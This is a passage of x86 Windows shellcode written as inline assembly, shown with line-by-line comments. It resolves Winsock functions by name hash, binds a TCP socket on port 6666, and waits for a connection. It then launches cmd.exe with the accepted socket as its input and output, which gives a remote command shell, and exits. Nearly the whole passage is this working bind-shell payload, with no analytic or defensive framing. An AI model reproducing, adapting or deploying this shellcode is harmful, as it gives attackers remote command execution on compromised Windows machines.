cmp al, 0xd3 ; hash of WSAStartup - trigger
; LoadLibrary("ws2_32")
jne find_functions
xchg eax, ebp ; save current hash
call [edi - 0xc] ; LoadLibraryA
xchg eax, ebp ; restore current hash, and update ebp with base address of ws2_32.dll
push edi ; save location of addr of first winsock function
find_functions:
pushad ; preserve registers
mov eax, [ebp + 0x3c] ; eax = start of PE header
mov ecx, [ebp + eax + 0x78] ; ecx = relative offset of export table
add ecx, ebp ; ecx = absolute addr of export table
mov ebx, [ecx + 0x20] ; ebx = relative offset of names table
add ebx, ebp ; ebx = absolute addr of names table
xor edi, edi ; edi will count through the functions
next_function_loop:
inc edi ; increment function counter
mov esi, [ebx + edi * 4] ; esi = relative offset of current function name
add esi, ebp ; esi = absolute addr of current function name
cdq ; dl will hold hash (we know eax is small)
hash_loop:
lodsb ; load next char into al and increment esi
xor al, 0x71 ; XOR current char with 0x71
sub dl, al ; update hash with current char
cmp al, 0x71 ; loop until we reach end of string
jne hash_loop
cmp dl, [esp + 0x1c] ; compare to the requested hash (saved on stack from pushad)
jnz next_function_loop
; we now have the right function
mov ebx, [ecx + 0x24] ; ebx = relative offset of ordinals table
add ebx, ebp ;ebx = absolute addr of ordinals table
mov di, [ebx + 2 * edi] ; di = ordinal number of matched function
mov ebx, [ecx + 0x1c] ; ebx = relative offset of address table
add ebx, ebp ; ebx = absolute addr of address table
add ebp, [ebx + 4 * edi] ; add to ebp (base addr of module) the
; relative offset of matched function
xchg eax, ebp ; move func addr into eax
pop edi ; edi is last onto stack in pushad
stosd ; write function addr to [edi] and increment edi
push edi
popad ; restore registers
cmp esi, edi ; loop until we reach end of last hash
jne find_lib_functions
pop esi ; saved location of first winsock function
; we will lodsd and call each func in sequence
; initialize winsock
push esp ; use stack for WSADATA
push 0x02 ; wVersionRequested
lodsd
call eax ; WSAStartup
; null-terminate "cmd"
mov byte ptr [esi + 0x13], al ; eax = 0 if WSAStartup() worked
; clear some stack to use as NULL parameters
lea ecx, [eax + 0x30] ; sizeof(STARTUPINFO) = 0x44,
mov edi, esp
rep stosd ; eax is still 0
; create socket
inc eax
push eax ; type = 1 (SOCK_STREAM)
inc eax
push eax ; af = 2 (AF_INET)
lodsd
call eax ; WSASocketA
xchg ebp,eax ;save SOCKET descriptor in ebp (safe from being changed by remaining API calls)
; push bind parameters
mov eax, 0x0a1aff02 ; 0x1a0a = port 6666, 0x02 = AF_INET
xor ah, ah ; remove the ff from eax
push eax ; we use 0x0a1a0002 as both the name (struct sockaddr) and namelen (which only needs to be large enough)
push esp ; pointer to our sockaddr struct
; call bind(), listen() and accept() in turn
call_loop:
push ebp ; saved SOCKET descriptor (we implicitly pass NULL for all other params)
lodsd
call eax ; call the next function
test eax, eax ; bind() and listen() return 0,
; accept() returns a SOCKET descriptor
; jz call_loop
; initialise a STARTUPINFO structure at esp
inc byte ptr [esp + 0x2d] ; set STARTF_USESTDHANDLES to true
sub edi, 0x6c ; point edi at hStdInput in STARTUPINFO
stosd ; use SOCKET descriptor returned by accept (still in eax) as the stdin handle same for stdout
stosd ; same for stderr (optional)
; create process
pop eax ; set eax = 0 (STARTUPINFO now at esp + 4)
push esp ; use stack as PROCESSINFORMATION structure
; (STARTUPINFO now back to esp)
push esp ; STARTUPINFO structure
push eax ; lpCurrentDirectory = NULL
push eax ; lpEnvironment = NULL
push eax ; dwCreationFlags = NULL
push esp ; bInheritHandles = true
push eax ; lpThreadAttributes = NULL
push eax ; lpProcessAttributes = NULL
push esi ; lpCommandLine = "cmd"
push eax ; lpApplicationName = NULL
call [esi - 0x1c] ; CreateProcessA
; call ExitProcess()
call [esi - 0x18] ; ExitProcess
}
}